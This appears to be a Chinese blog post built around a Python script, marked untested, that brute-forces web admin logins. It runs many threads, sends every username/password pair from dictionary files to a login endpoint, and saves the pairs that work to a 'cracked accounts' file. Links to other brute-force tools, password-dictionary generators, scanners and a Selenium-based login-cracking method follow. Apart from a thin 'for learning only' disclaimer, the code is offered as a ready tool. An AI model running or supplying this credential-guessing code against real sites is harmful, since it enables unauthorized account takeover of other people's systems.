Python写的http后台弱口令爆破工具{暂未测试}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# -*- coding: utf-8 -*- ''' 利用python 写的多线程爆破后台用户名+密码(自备字典),比较实用,即使是在信息安全这么重视的今天,还是有人不加验证码或者异常访问限制之类的登陆验证方式,这样就很 容易被弱口令爆破工具拿下(本代码仅限学习实用,禁止进行web攻击,不承担法律责任) ''' import urllib2 import urllib import httplib import threading headers = {"Content-Type":"application/x-www-form-urlencoded", "Connection":"Keep-Alive", "Referer":"http://www.xxxxx.com/"};# referer:是代理的访问来源地址 # lock = threading.Lock() def tryUser(user,password): #print user,password global headers global outFile conn = httplib.HTTPConnection("www.xxxxx.com") # 远程域名 if len(user) < 3: # 限制用户名长度,排除字典中的无用数据 return # 主动退出线程 else: #lock.acquire() # 多线程操作文件,提前加锁,用后释放 #line = inFile.readline() #userData = line.strip().split(' # ') # strip() 默认去除空白字符包括' ','t','n'等 #lock.release() user = user.strip() passwd = password.strip() params = urllib.urlencode({'username': user, 'password': passwd}) conn.request(method="POST", url="/users/login", body=params, headers=headers) # 后台路径 responseText = conn.getresponse().read().decode('utf8') # 网页编码 #print responseText # 第一次可以打印看看是否解析 if not responseText.find(u'用户名或者密码不正确,请重新输入!') > 0 : print '----- find user:', user, 'with password:', passwd, '-----' outFile.write(user + ' ' + passwd + 'n') return outFile = open('accounts-cracked.txt', 'w') if __name__ == '__main__': tsk=[] # 创建线程池 with open(r'user.dic', 'r') as fUser: # 使用with as 来打开文件,不需自己关闭文件,因为他会自己在合适的时候自已关闭(类似C# 中的using(...){}接口) with open(r'pass.dic', 'r') as fPass: for user in fUser.readlines(): for password in fPass.readlines(): t= threading.Thread(target = tryUser,args=(user,password)) t.daemon = False # 设置不进行进程守护 tsk.append(t) # t.start() fPass.seek(0) # 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在 # 迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器 # 也是end了)第二次就没有password 在 fPass中,也就是说 for password in fPass.readlines(): # 为空,所以这里的内层循环就不会被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有) # join()无参数就是完全阻塞主线程,等待线程执行完 有参数就是说, # 在主线程等待一秒后就不阻塞线程了,继续执行主线程,这里的意思是一秒钟开一个线程 # 不能再thread start之前调用join(), 因为join() 是线程运行时调度 for t in tsk: t.start() t.join(1) print "All thread OK, maybe not" outFile.close() |
经过模块化设计的多功能、多用途的爆破工具
https://github.com/lanjelot/patator
Brute-force (dictionary attack, jk) attack that supports multiple protocols and services(用Python写的支持多协议、服务的爆破工具)
https://github.com/ex0dus-0x/brut3k1t
CreateNewpass 弱口令生成小脚本(用PowerShell实现)
http://www.triplekill.org/blog/index.php/archives/CreateNewpass.html
自动化攻击背景下的过去、现在与未来
http://safe.it168.com/a2014/0912/1665/000001665886.shtml
http://security.ctocio.com.cn/423/13078423.shtml
http://vipread.com/library/item/118
https://github.com/ring04h/papers
[ Tools ] portspider – 轻量级的多线程极速网络扫描工具
http://www.kitploit.com/2017/06/portspider-lightning-fast-multithreaded.html
https://github.com/xdavidhu/portSpider
passmaker: 可以自定义规则的密码字典生成器
https://github.com/bit4woo/passmaker
A powerful and useful hacker dictionary builder for a brute-force attack
https://github.com/LandGrey/pydictor
『安全开发教程』年轻人的第一款弱口令扫描器(x-crack)
https://github.com/netxfly/x-crack
基于Seleinum的口令爆破应用
http://sm0nk.com/2017/11/27/%E5%9F%BA%E4%BA%8ESeleinum%E7%9A%84%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4%E5%BA%94%E7%94%A8/
渗透过程经常遇到登录界面的密码是加密处理的,有时加密算法为md5,有时候为目标系统自定义的算法,但基于已知算法的爆破还是比较成熟的,常规的base64和md5都可以通过Burp完成爆破,能够在js看到算法的可以通过自定义脚本来完成。
但如果是未知加密算法,例如每次登录请求都有随机码作为盐值去加密校验密码是否正确,我们该如何Bypass,本篇主要讲解基于Seleinum的 python 脚本实现自动登录,完成暴力破解。
FileScan: 敏感文件扫描 / 二次判断降低误报率 / 扫描内容规则化 / 多目录扫描
https://github.com/Mosuan/FileScan
http://www.0aa.me/index.php/archives/128/
CrawlBox – Web 目录暴力破解工具
https://github.com/abaykan/crawlbox
如何制作一个 Password Cracker
https://secapps.com/blog/2018/03/how-to-make-a-password-cracker